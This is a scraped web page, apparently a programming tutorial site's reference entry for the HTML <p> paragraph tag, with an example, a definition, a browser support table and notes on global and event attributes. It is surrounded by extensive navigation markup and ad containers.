XQuery</a> </div> </div> </div> <br class="hidesm"> </nav> <nav id="nav_references" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('references')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>References</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML</h3> <a class="w3-bar-item w3-button" href="/tags/default.asp">HTML Tag Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_html_browsersupport.asp">HTML Browser Support</a> <a class="w3-bar-item w3-button" href="/tags/ref_eventattributes.asp">HTML Event Reference</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">HTML Color Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_attributes.asp">HTML Attribute Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_canvas.asp">HTML Canvas Reference</a> <a class="w3-bar-item w3-button" href="/graphics/svg_reference.asp">HTML SVG Reference</a> <a class="w3-bar-item w3-button" href="/graphics/google_maps_reference.asp">Google Maps Reference</a> <h3 class="w3-margin-top">CSS</h3> <a class="w3-bar-item w3-button" href="/cssref/default.asp">CSS Reference</a> <a class="w3-bar-item w3-button" href="/cssref/css3_browsersupport.asp">CSS Browser Support</a> <a class="w3-bar-item w3-button" href="/cssref/css_selectors.asp">CSS Selector Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap 3 Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_ref_all_classes.asp">Bootstrap 4 Reference</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_references.asp">W3.CSS Reference</a> <a class="w3-bar-item w3-button" href="/icons/icons_reference.asp">Icon Reference</a> <a class="w3-bar-item w3-button" href="/sass/sass_functions_string.php">Sass Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/jsref/default.asp">JavaScript Reference</a> <a class="w3-bar-item w3-button" href="/jsref/default.asp">HTML DOM Reference</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_ref_overview.asp">jQuery Reference</a> <a class="w3-bar-item w3-button" href="/angular/angular_ref_directives.asp">AngularJS Reference</a> <a class="w3-bar-item w3-button" href="/appml/appml_reference.asp">AppML Reference</a> <a class="w3-bar-item w3-button" href="/w3js/w3js_references.asp">W3.JS Reference</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/python_reference.asp">Python Reference</a> <a class="w3-bar-item w3-button" href="/java/java_ref_keywords.asp">Java Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/sql_ref_keywords.asp">SQL Reference</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_ref_functions.asp">MySQL Reference</a> <a class="w3-bar-item w3-button" href="/php/php_ref_overview.asp">PHP Reference</a> <a class="w3-bar-item w3-button" href="/asp/asp_ref_response.asp">ASP Reference</a> <h3 class="w3-margin-top">XML</h3> <a class="w3-bar-item w3-button" href="/xml/dom_nodetype.asp">XML DOM Reference</a> <a class="w3-bar-item w3-button" href="/xml/dom_http.asp">XML Http Reference</a> <a class="w3-bar-item w3-button" href="/xml/xsl_elementref.asp">XSLT Reference</a> <a class="w3-bar-item w3-button" href="/xml/schema_elements_ref.asp">XML Schema Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Character Sets</h3> <a class="w3-bar-item w3-button" href="/charsets/default.asp">HTML Character Sets</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ascii.asp">HTML ASCII</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML ANSI</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML Windows-1252</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_8859.asp">HTML ISO-8859-1</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_symbols.asp">HTML Symbols</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_utf8.asp">HTML UTF-8</a> </div> </div> <br class="hidesm"> </div> </nav> <nav id="nav_exercises" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('exercises')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Exercises and Quizzes</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:155px;font-size:21px" href="/exercises/index.php">Exercises</a></h3> <a class="w3-bar-item w3-button" href="/html/html_exercises.asp">HTML Exercises</a> <a class="w3-bar-item w3-button" href="/css/css_exercises.asp">CSS Exercises</a> <a class="w3-bar-item w3-button" href="/js/js_exercises.asp">JavaScript Exercises</a> <a class="w3-bar-item w3-button" href="/sql/sql_exercises.asp">SQL Exercises</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_exercises.asp">MySQL Exercises</a> <a class="w3-bar-item w3-button" href="/php/php_exercises.asp">PHP Exercises</a> <a class="w3-bar-item w3-button" href="/python/python_exercises.asp">Python Exercises</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_exercises.asp">NumPy Exercises</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_exercises.asp">Pandas Exercises</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_exercises.php">SciPy Exercises</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_exercises.asp">jQuery Exercises</a> <a class="w3-bar-item w3-button" href="/java/java_exercises.asp">Java Exercises</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_exercises.asp">C++ Exercises</a> <a class="w3-bar-item w3-button" href="/cs/cs_exercises.asp">C# Exercises</a> <a class="w3-bar-item w3-button" href="/r/r_exercises.asp">R Exercises</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_exercises.php">Kotlin Exercises</a> <a class="w3-bar-item w3-button" href="/go/go_exercises.php">Go Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_exercises.asp">Bootstrap Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_exercises.asp">Bootstrap 4 Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_exercises.php">Bootstrap 5 Exercises</a> <a class="w3-bar-item w3-button" href="/git/git_exercises.asp">Git Exercises</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="/quiztest/default.asp">Quizzes</a></h3> <a class="w3-bar-item w3-button" href="/html/html_quiz.asp" target="_top">HTML Quiz</a> <a class="w3-bar-item w3-button" href="/css/css_quiz.asp" target="_top">CSS Quiz</a> <a class="w3-bar-item w3-button" href="/js/js_quiz.asp" target="_top">JavaScript Quiz</a> <a class="w3-bar-item w3-button" href="/sql/sql_quiz.asp" target="_top">SQL Quiz</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_quiz.asp" target="_top">MySQL Quiz</a> <a class="w3-bar-item w3-button" href="/php/php_quiz.asp" target="_top">PHP Quiz</a> <a class="w3-bar-item w3-button" href="/python/python_quiz.asp" target="_top">Python Quiz</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_quiz.asp" target="_top">NumPy Quiz</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_quiz.asp" target="_top">Pandas Quiz</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_quiz.php" target="_top">SciPy Quiz</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_quiz.asp" target="_top">jQuery Quiz</a> <a class="w3-bar-item w3-button" href="/java/java_quiz.asp" target="_top">Java Quiz</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_quiz.asp" target="_top">C++ Quiz</a> <a class="w3-bar-item w3-button" href="/cs/cs_quiz.asp" target="_top">C# Quiz</a> <a class="w3-bar-item w3-button" href="/r/r_quiz.asp" target="_top">R Quiz</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_quiz.php" target="_top">Kotlin Quiz</a> <a class="w3-bar-item w3-button" href="/xml/xml_quiz.asp" target="_top">XML Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_quiz.asp" target="_top">Bootstrap Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_quiz.asp" target="_top">Bootstrap 4 Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_quiz.php" target="_top">Bootstrap 5 Quiz</a> <a class="w3-bar-item w3-button" href="/cybersecurity/cybersecurity_quiz.php">Cyber Security Quiz</a> <a class="w3-bar-item w3-button" href="/accessibility/accessibility_quiz.php">Accessibility Quiz</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="https://courses.w3schools.com/" target="_blank">Courses</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/html" target="_blank">HTML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/css" target="_blank">CSS Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/javascript" target="_blank">JavaScript Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/front-end" target="_blank">Front End Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/sql" target="_blank">SQL Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/php" target="_blank">PHP Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/python" target="_blank">Python Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/numpy-fundamentals" target="_blank">NumPy Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/pandas-fundamentals" target="_blank">Pandas Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/data-analytics" target="_blank">Data Analytics Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/jquery" target="_blank">jQuery Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/java" target="_blank">Java Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/cplusplus" target="_blank">C++ Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/c-sharp" target="_blank">C# Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/r-fundamentals" target="_blank">R Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/xml" target="_blank">XML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/introduction-to-cyber-security" target="_blank">Cyber Security Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/accessibility-fundamentals" target="_blank">Accessibility Course</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:150px;font-size:21px" href="https://courses.w3schools.com/browse/certifications" target="_blank">Certificates</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/html-certification-exam" target="_blank">HTML Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/css-certification-exam" target="_blank">CSS Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/javascript-certification-exam" target="_blank">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/front-end-certification-exam" target="_blank">Front End Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/sql-certification-exam" target="_blank">SQL Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/php-certification-exam" target="_blank">PHP Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/python-certificaftion-exam" target="_blank">Python Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/data-science-certification-exam" target="_blank">Data Science Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-3-certification-exam" target="_blank">Bootstrap 3 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-4-certification-exam" target="_blank">Bootstrap 4 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/jquery-certification-exam" target="_blank">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/java-certification-exam" target="_blank">Java Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/c-certification-exam" target="_blank">C++ Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/react-certification-exam" target="_blank">React Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/xml-certification-exam" target="_blank">XML Certificate</a> </div> </div> <br class="hidesm"> </div> </nav> </div> </div> <div id="myAccordion" class="w3-card-2 w3-center w3-hide-large w3-hide-medium ws-grey" style="width: 100%; position: absolute; display: none; padding-top: 44px;"> <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-xxlarge w3-right">×</a><br> <div class="w3-container w3-padding-32"> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('tutorials');" href="javascript:void(0);">Tutorials <i class="fa fa-caret-down"></i></a> <div id="sectionxs_tutorials" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('references')" href="javascript:void(0);">References <i class="fa fa-caret-down"></i></a> <div id="sectionxs_references" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('exercises')" href="javascript:void(0);">Exercises <i class="fa fa-caret-down"></i></a> <div id="sectionxs_exercises" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" href="/cert/default.asp" target="_blank">Paid Courses</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Spaces</a> <a class="w3-button w3-block" style="font-size:22px;" target="_blank" href="https://www.w3schools.com/videos/index.php" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')" title="Video Tutorials">Videos</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://shop.w3schools.com" target="_blank">Shop</a> <a class="w3-button w3-block" style="font-size:22px;" href="/pro/index.php">Pro</a> </div> </div> <script> ( function setThemeCheckboxes() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.getElementById("radio_darkcode").checked = true; } if (y == "dark") { document.getElementById("radio_darkpage").checked = true; } })(); function mouseoverdarkicon() { if(window.matchMedia("(pointer: coarse)").matches) { return false; } var a = document.getElementById("darkmodemenu"); a.style.top = "44px"; } function mouseoutofdarkicon() { var a = document.getElementById("darkmodemenu"); a.style.top = "-40px"; } function changepagetheme(n) { var a = document.getElementById("radio_darkcode"); var b = document.getElementById("radio_darkpage"); document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); if (a.checked && b.checked) { localStorage.setItem("preferredmode", "light"); localStorage.setItem("preferredpagemode", "light"); a.checked = false; b.checked = false; } else { document.body.className += " darktheme"; document.body.className += " darkpagetheme"; localStorage.setItem("preferredmode", "dark"); localStorage.setItem("preferredpagemode", "dark"); a.checked = true; b.checked = true; } } function click_darkpage() { var b = document.getElementById("radio_darkpage"); if (b.checked) { document.body.className += " darkpagetheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "dark"); } else { document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "light"); } } function click_darkcode() { var a = document.getElementById("radio_darkcode"); if (a.checked) { document.body.className += " darktheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "dark"); } else { document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "light"); } } </script> <div class="w3-sidebar w3-collapse" id="sidenav" style="top: 44px; display: none;"> <div id="leftmenuinner" style="padding-top: 44px;"> <div id="leftmenuinnerinner"> <!-- <a href='javascript:void(0)' onclick='close_menu()' class='w3-button w3-hide-large w3-large w3-display-topright' style='right:16px;padding:3px 12px;font-weight:bold;'>×</a>--> <h2 class="left"><span class="left_h2">HTML</span> Reference</h2> <a target="_top" href="default.asp">HTML by Alphabet</a> <a target="_top" href="ref_byfunc.asp">HTML by Category</a> <a target="_top" href="ref_html_browsersupport.asp">HTML Browser Support</a> <a target="_top" href="ref_attributes.asp">HTML Attributes</a> <a target="_top" href="ref_standardattributes.asp">HTML Global Attributes</a> <a target="_top" href="ref_eventattributes.asp">HTML Events</a> <a target="_top" href="ref_colornames.asp">HTML Colors</a> <a target="_top" href="ref_canvas.asp">HTML Canvas</a> <a target="_top" href="ref_av_dom.asp">HTML Audio/Video</a> <a target="_top" href="ref_charactersets.asp">HTML Character Sets</a> <a target="_top" href="ref_html_dtd.asp">HTML Doctypes</a> <a target="_top" href="ref_urlencode.asp">HTML URL Encode</a> <a target="_top" href="ref_language_codes.asp">HTML Language Codes</a> <a target="_top" href="ref_country_codes.asp">HTML Country Codes</a> <a target="_top" href="ref_httpmessages.asp">HTTP Messages</a> <a target="_top" href="ref_httpmethods.asp">HTTP Methods</a> <a target="_top" href="ref_pxtoemconversion.asp">PX to EM Converter</a> <a target="_top" href="ref_keyboardshortcuts.asp">Keyboard Shortcuts</a> <br> <div class="notranslate"> <h2 class="left"><span class="left_h2">HTML</span> Tags</h2> <a target="_top" href="tag_comment.asp"><!--></a> <a target="_top" href="tag_doctype.asp"><!DOCTYPE></a> <a target="_top" href="tag_a.asp"><a></a> <a target="_top" href="tag_abbr.asp"><abbr></a> <a target="_top" href="tag_acronym.asp"><acronym></a> <a target="_top" href="tag_address.asp"><address></a> <a target="_top" href="tag_applet.asp"><applet></a> <a target="_top" href="tag_area.asp"><area></a> <a target="_top" href="tag_article.asp"><article></a> <a target="_top" href="tag_aside.asp"><aside></a> <a target="_top" href="tag_audio.asp"><audio></a> <a target="_top" href="tag_b.asp"><b></a> <a target="_top" href="tag_base.asp"><base></a> <a target="_top" href="tag_basefont.asp"><basefont></a> <a target="_top" href="tag_bdi.asp"><bdi></a> <a target="_top" href="tag_bdo.asp"><bdo></a> <a target="_top" href="tag_big.asp"><big></a> <a target="_top" href="tag_blockquote.asp"><blockquote></a> <a target="_top" href="tag_body.asp"><body></a> <a target="_top" href="tag_br.asp"><br></a> <a target="_top" href="tag_button.asp"><button></a> <a target="_top" href="tag_canvas.asp"><canvas></a> <a target="_top" href="tag_caption.asp"><caption></a> <a target="_top" href="tag_center.asp"><center></a> <a target="_top" href="tag_cite.asp"><cite></a> <a target="_top" href="tag_code.asp"><code></a> <a target="_top" href="tag_col.asp"><col></a> <a target="_top" href="tag_colgroup.asp"><colgroup></a> <a target="_top" href="tag_data.asp"><data></a> <a target="_top" href="tag_datalist.asp"><datalist></a> <a target="_top" href="tag_dd.asp"><dd></a> <a target="_top" href="tag_del.asp"><del></a> <a target="_top" href="tag_details.asp"><details></a> <a target="_top" href="tag_dfn.asp"><dfn></a> <a target="_top" href="tag_dialog.asp"><dialog></a> <a target="_top" href="tag_dir.asp"><dir></a> <a target="_top" href="tag_div.asp"><div></a> <a target="_top" href="tag_dl.asp"><dl></a> <a target="_top" href="tag_dt.asp"><dt></a> <a target="_top" href="tag_em.asp"><em></a> <a target="_top" href="tag_embed.asp"><embed></a> <a target="_top" href="tag_fieldset.asp"><fieldset></a> <a target="_top" href="tag_figcaption.asp"><figcaption></a> <a target="_top" href="tag_figure.asp"><figure></a> <a target="_top" href="tag_font.asp"><font></a> <a target="_top" href="tag_footer.asp"><footer></a> <a target="_top" href="tag_form.asp"><form></a> <a target="_top" href="tag_frame.asp"><frame></a> <a target="_top" href="tag_frameset.asp"><frameset></a> <a target="_top" href="tag_hn.asp"><h1> - <h6></a> <a target="_top" href="tag_head.asp"><head></a> <a target="_top" href="tag_header.asp"><header></a> <a target="_top" href="tag_hr.asp"><hr></a> <a target="_top" href="tag_html.asp"><html></a> <a target="_top" href="tag_i.asp"><i></a> <a target="_top" href="tag_iframe.asp"><iframe></a> <a target="_top" href="tag_img.asp"><img></a> <a target="_top" href="tag_input.asp"><input></a> <a target="_top" href="tag_ins.asp"><ins></a> <a target="_top" href="tag_kbd.asp"><kbd></a> <a target="_top" href="tag_label.asp"><label></a> <a target="_top" href="tag_legend.asp"><legend></a> <a target="_top" href="tag_li.asp"><li></a> <a target="_top" href="tag_link.asp"><link></a> <a target="_top" href="tag_main.asp"><main></a> <a target="_top" href="tag_map.asp"><map></a> <a target="_top" href="tag_mark.asp"><mark></a> <a target="_top" href="tag_meta.asp"><meta></a> <a target="_top" href="tag_meter.asp"><meter></a> <a target="_top" href="tag_nav.asp"><nav></a> <a target="_top" href="tag_noframes.asp"><noframes></a> <a target="_top" href="tag_noscript.asp"><noscript></a> <a target="_top" href="tag_object.asp"><object></a> <a target="_top" href="tag_ol.asp"><ol></a> <a target="_top" href="tag_optgroup.asp"><optgroup></a> <a target="_top" href="tag_option.asp"><option></a> <a target="_top" href="tag_output.asp"><output></a> <a target="_top" href="tag_p.asp" class="active"><p></a> <a target="_top" href="tag_param.asp"><param></a> <a target="_top" href="tag_picture.asp"><picture></a> <a target="_top" href="tag_pre.asp"><pre></a> <a target="_top" href="tag_progress.asp"><progress></a> <a target="_top" href="tag_q.asp"><q></a> <a target="_top" href="tag_rp.asp"><rp></a> <a target="_top" href="tag_rt.asp"><rt></a> <a target="_top" href="tag_ruby.asp"><ruby></a> <a target="_top" href="tag_s.asp"><s></a> <a target="_top" href="tag_samp.asp"><samp></a> <a target="_top" href="tag_script.asp"><script></a> <a target="_top" href="tag_section.asp"><section></a> <a target="_top" href="tag_select.asp"><select></a> <a target="_top" href="tag_small.asp"><small></a> <a target="_top" href="tag_source.asp"><source></a> <a target="_top" href="tag_span.asp"><span></a> <a target="_top" href="tag_strike.asp"><strike></a> <a target="_top" href="tag_strong.asp"><strong></a> <a target="_top" href="tag_style.asp"><style></a> <a target="_top" href="tag_sub.asp"><sub></a> <a target="_top" href="tag_summary.asp"><summary></a> <a target="_top" href="tag_sup.asp"><sup></a> <a target="_top" href="tag_svg.asp"><svg></a> <a target="_top" href="tag_table.asp"><table></a> <a target="_top" href="tag_tbody.asp"><tbody></a> <a target="_top" href="tag_td.asp"><td></a> <a target="_top" href="tag_template.asp"><template></a> <a target="_top" href="tag_textarea.asp"><textarea></a> <a target="_top" href="tag_tfoot.asp"><tfoot></a> <a target="_top" href="tag_th.asp"><th></a> <a target="_top" href="tag_thead.asp"><thead></a> <a target="_top" href="tag_time.asp"><time></a> <a target="_top" href="tag_title.asp"><title></a> <a target="_top" href="tag_tr.asp"><tr></a> <a target="_top" href="tag_track.asp"><track></a> <a target="_top" href="tag_tt.asp"><tt></a> <a target="_top" href="tag_u.asp"><u></a> <a target="_top" href="tag_ul.asp"><ul></a> <a target="_top" href="tag_var.asp"><var></a> <a target="_top" href="tag_video.asp"><video></a> <a target="_top" href="tag_wbr.asp"><wbr></a> </div> <br><br> </div> </div> </div> <div class="w3-main w3-light-grey" id="belowtopnav" style="margin-left: 220px; padding-top: 44px;"> <div class="w3-row w3-white"> <div class="w3-col l10 m12" id="main"> <div id="mainLeaderboard" style="overflow:hidden;"> <!-- MainLeaderboard--> <!--<pre>main_leaderboard, all: [728,90][970,90][320,50][468,60]</pre>--> <div id="adngin-main_leaderboard-0" data-google-query-id="CJPA_sueqvcCFXiOSwUd2fYBLg"><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" title="3rd party ad content" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="7" style="border: 0px; vertical-align: bottom;" data-load-complete="true"><div style="position: absolute; width: 0px; height: 0px; border: 0px; padding: 0px; margin: 0px; overflow: hidden;"><button></button><a href="https://yahoo.com"></a><input></div></iframe></div></div> <!-- adspace leaderboard --> </div> <h1>HTML <span class="color_h1"><p></span> Tag</h1> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan"><p></code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan"><p></code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;"><p></td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" 